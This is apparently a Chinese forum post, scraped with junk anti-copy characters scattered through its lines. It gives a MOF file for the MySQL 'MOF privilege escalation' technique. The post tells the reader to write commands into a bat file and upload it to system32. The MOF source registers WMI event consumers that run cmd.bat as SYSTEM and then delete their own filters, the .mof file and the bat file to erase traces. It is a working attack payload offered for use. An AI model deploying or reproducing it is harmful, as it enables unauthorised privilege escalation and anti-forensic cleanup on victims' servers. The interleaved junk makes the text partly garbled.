这个sql提权MOF需要运行 system下的文件,不能定义路径。
( F6 L0 h6 I. _/ P i6 C) V9 P需要将要运行的命令写入到bat上传到system32目录,然后执行。' A N$ m+ I8 w5 u3 _, z
. u' D" ]' j, G. m) M9 p" ~- t这个sql提权MOF需要运行 system下的文件,不能定义路径。
0 g9 _4 [$ G: u需要将要运行的命令写入到bat上传到system32目录,然后执行。3 S4 d7 l/ U1 W9 S1 ?
3 _& Q4 i& u; p1 `#pragma
2 |' R9 `" F, ~" b namespace("\\\\.\\root\\cimv2")0 F) V) t* C9 G4 F3 X8 }7 M+ v
class/ X* H+ @+ I) E2 Y& O* ? D5 ?7 \
MyClass547
" d9 |7 j, `8 ]! M { [key]
! ^7 j! ?8 b4 n/ o* Z7 Z+ B string
# e3 a" L: p8 Q/ p6 m5 @* l+ `$ d Name;" w" [2 a( v6 n% V) u
};6 L" i4 c4 k8 f( ^
class! A! o3 j9 e% t) l1 C
ActiveScriptEventConsumer- G" T; N6 k6 _& K& q8 c; K H
: __EventConsumer { [key]
2 f$ l. L, a' q- i% z. j string+ `+ ]& y$ y X4 o3 V( n
Name; [not_null]8 i) ~& Y/ A& |& w3 l- I! d4 ]: X
string
" c; {9 r9 n2 C ScriptingEngine; string/ u# A( N0 ]3 j: M. K
ScriptFileName; [template]
# n8 m7 ~( q1 b9 \ string; |; m) c g- y' }% j8 O
ScriptText; uint32 KillTimeout;
: [3 O* n9 E w1 z+ V; I }; instance of __Win32Provider as $P {
/ v& ^1 M7 N$ \- o Name
! A& d$ {' s [2 I: b. m =
- u1 G0 \; ~4 A) O, m$ P8 f "ActiveScriptEventConsumer"; CLSID =5 O5 j5 F( Z- g; H# L5 v( T/ n
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";3 ?8 ]( o4 y4 M3 E5 d5 [
PerUserInitialization
+ F+ `2 T$ Z. U = TRUE;2 f) p; N" K# J' }# p7 u
}; instance of __EventConsumerProviderRegistration { Provider6 j/ f9 O- a* A/ ^* H
= $P; ConsumerClassNames
# N2 L9 k! z& e3 E" r: a: z$ p =
+ ^/ _+ W8 T' z6 f; B {"ActiveScriptEventConsumer"};
% s" H) t! ~+ {- R1 z };
9 Z& Z% N3 S5 c Instance of ActiveScriptEventConsumer6 }! D- o6 {+ u0 A
as $cons { Name
2 W( ^# U1 a5 D+ Y =. s6 t! e/ ]4 v* w2 v- \+ c
"ASEC"; ScriptingEngine' ~# A0 G0 m7 \
=
3 D/ b( L+ ] H( ~9 a5 i7 m "JScript"; ScriptText
& ~3 ]' K; [ Q! z =* b5 T. _, w6 G$ |5 p# }) W9 M6 r
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
: P$ P! d2 Z2 W4 h) |1 x Instance of ActiveScriptEventConsumer
: s6 c* w% _; y+ p' h as $cons2 { Name) N* J @' T) `4 F
=
K* C, F5 N& O/ o- @ "qndASEC"; ScriptingEngine2 O3 ` e# l2 X7 e1 e
=
# Q7 J) [$ r8 C" [" [# H% O "JScript"; ScriptText
2 Y* P- Y. ?1 Q3 \3 j =& n* f- M, y2 H4 c/ [+ s
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";. f& n& C" H ^" |. z, I- w
}; instance of __EventFilter as $Filt { Name* V$ T& [+ A" E; n# m! K& Q
=
$ C' n, w6 V( ]% v* J4 L "instfilt"; Query" e7 s! ]; Z9 D/ c
=8 C+ W- f! E; d8 m, v9 v9 `
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage7 \2 C6 ^- L1 H+ \' u
=* N0 t, v3 Q3 {. g; ^" y( n
"WQL"; }; instance of __EventFilter as $Filt2 { Name
9 i! y$ r. ^/ D/ O( Y) W* Q, Q =! c- @% [1 @; v
"qndfilt"; Query
1 E) i/ O' |7 n2 ?: p! r6 A =- y k" g0 S! s0 O5 ]6 c5 j
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
2 p& B: D0 Q- O% T =- I: g8 ]) r1 A! |
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer. a: e& I3 H7 t8 E$ \- A$ L: v9 L2 o
= $cons; Filter
$ Q* W9 m4 R0 Q% {+ @ = $Filt;, |1 h$ k+ f2 c4 ?4 N3 v
}; instance of __FilterToConsumerBinding as $bind2 { Consumer4 s8 c% _/ p" h3 v+ I
= $cons2; Filter$ i6 A$ f0 ?0 X6 `# H, m) f
= $Filt2;
' Y X$ i" R+ F" s% i }; instance of MyClass5477 r- f* o3 n' ^0 ~' R
as $MyClass { Name, |5 j) @6 {: h# k: x! h$ n. \+ k
=" T# N( |8 A- |# s6 `, y3 y" Z
"ClassConsumer";
, `- [- C8 d0 ], ? }; |